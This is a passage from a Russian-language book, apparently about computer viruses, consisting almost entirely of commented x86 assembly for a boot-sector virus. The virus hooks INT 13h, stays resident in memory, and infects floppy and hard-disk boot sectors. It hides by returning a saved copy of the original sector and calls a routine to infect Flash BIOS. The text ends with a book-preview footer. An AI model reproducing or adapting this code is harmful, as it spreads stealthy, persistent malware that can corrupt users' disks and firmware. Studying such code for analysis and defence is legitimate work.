mov word ptr es:[offset i13],ax
mov ax,word ptr [13h*4+2]
mov word ptr es:[offset i13+2],ax
;Установим новый вектор прерывания INT 13h
mov word ptr [13h*4],offset Handler
mov word ptr [13h*4+2],es
;Переходим в точку ES:Restart (в копии вируса,
;находящейся в вершине памяти)
already_resident:
push es
mov ax,offset Restart
push ax
retf
;С этого места программа работает уже в вершине памяти
Restart:
;Загружаем оригинальный boot−сектор из конца
;root directory и передаем ему управление.
;Сброс дисковой подсистемы (перед работой
;с дисковой подсистемой надо выполнить
;функцию 00h прерывания INT 13h)
xor ax,ax
call int13h
;Подготовим регистры для загрузки оригинального boot−сектора
xor ax,ax
mov es,ax ;Сегмент для загрузки
mov bx,7C00h ;Смещение для загрузки
mov cx,0002h ;Дорожка 0, сектор 2
xor dh,dh ;Головка 0
mov ax,0201h ;Функция 2, количество секторов 1
;Проверим диск, с которого грузимся. 80h и выше – жесткий диск,
;иначе – дискета. Копия оригинального boot−сектора хранится
;в разных местах: на жестком диске – дорожка 0, головка 0, сектор 2;
;на дискете – дорожка 0, головка 1, сектор 14
cmp dl,80h
jae MBR_Loader
;Грузимся с дискеты: изменим сектор и головку
mov cl,14 ;Сектор 14
mov dh,1 ;Головка 1
;Загрузим оригинальный boot−сектор по адресу 0000h:7C00h
MBR_Loader:
call int13h
;Сохраним в стеке номер диска, с которого грузимся
push dx
;Проверим, заражен ли Flash BIOS
cmp byte ptr cs:flash_done,1
je Flash_resident
;Заразим Flash BIOS
call flash_BIOS
;Восстановим из стека DX (номер загрузочного диска)
Flash_resident:
pop dx
;Запускаем оригинальный boot−сектор (JMP FAR 0000h:7C00h)
db 0EAh
dw 7C00h
dw 0
;Сюда попадаем, когда происходит чтение boot−сектора. Скрываем
;присутствие вируса методом чтения оригинального boot−сектора
Stealth:
;Установим значения сектора, где хранится копия оригинального
;boot−сектора
mov cx,02h
mov ax,0201h
;Проверим, откуда считан boot−сектор (дискета или жесткий диск),
;так как копии хранятся в разных местах
cmp dl,80h
jae hd_stealth
mov cl,14
mov dh,1
hd_stealth:
;Прочтем копию оригинального boot−сектора. Так как
;номера секторов подменены, фактически ”копия выдается
;за оригинал” – скрываем свое присутствие (Stealth).
call int13h
;Выходим из обработчика прерывания
jmp pop_exit
;Проверка наличия резидентного вируса – ответим:
;запрос INT 13h (AX=ABBAh), ответ AX=BAABh
res_test:
xchg ah,al
iret
;Обработчик прерывания INT 13h
Handler:
;Если при вызове в AX находится ABBAh,
;значит это проверка наличия резидентного вируса
cmp ax,0ABBAh
je res_test
;Перехватываем только функцию 02h (чтение сектора): проверяем
;номер функции. Если не 2, запускаем оригинальный обработчик
cmp ah,2
jne jend
;Проверяем номера дорожки и сектора, интересуясь только теми
;секторами, в которых может оказаться вирус –
;дорожка 0, головка 0, сектор 1
cmp cx,1
jne jend
;Проверим номер головки. Если не 0, то запустим
;оригинальный обработчик
cmp dh,0
jne jend
try_infect:
;Считаем сектор в буфер (для дальнейшей обработки).
;Для этого вызовем оригинальный INT 13h
call int13h
jc jend
;Сохраним регистры и флаги (обработчик не должен изменить их)
pushf
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
;Проверяем, заражен ли данный диск вирусом: читаем сигнатуру.
;Если диск заражен, скрываем присутствие вируса
cmp word ptr es:[bx+offset marker],”LV”
je stealth
;Если диск не заражен, то заражаем: проверим, откуда загружен
;boot−сектор (с дискеты или с жесткого диска)
cmp dl,80h
jb infect_floppy
;Установим номера дорожки, головки и сектора для жесткого
;диска для сохранения оригинального boot−сектора
mov cx,2
xor dh,dh
jmp write_virus
Infect_Floppy:
;Установим номера дорожки, головки и сектора для дискеты
;для сохранения оригинального boot−сектора
mov cx,14
mov dh,1
Write_Virus:
;Записываем оригинальный boot−сектор
mov ax,0301h
call int13h
jc pop_exit
;Установим сегментный регистр ES на сегмент с вирусом
push cs
pop es
;Сбросим флаг зараженности Flash BIOS
mov byte ptr cs:flash_done,0
;Запишем тело вируса в boot−сектор
xor bx,bx
mov ax,0301h
mov cx,0001h
xor dh,dh
call int13h
;Восстановим регистры и флаги (как раз те их значения, которые
;свидетельствует о том, что boot−сектор только что считали)
Pop_Exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
;Выходим из обработчика в вызывающую программу
retf 2
;Запуск оригинального обработчика
jend:
DD 0EAh ;Код команды JMP FAR
;Оригинальный вектор INT13h
i13 DD 0
;Вызов прерывания INT 13h
Int13h proc near
pushf
call dword ptr cs:[i13]
ret
Int13h endp
;Первые два байта слова используются как сигнатура
Читать дальше
Конец ознакомительного отрывка
Купить книгу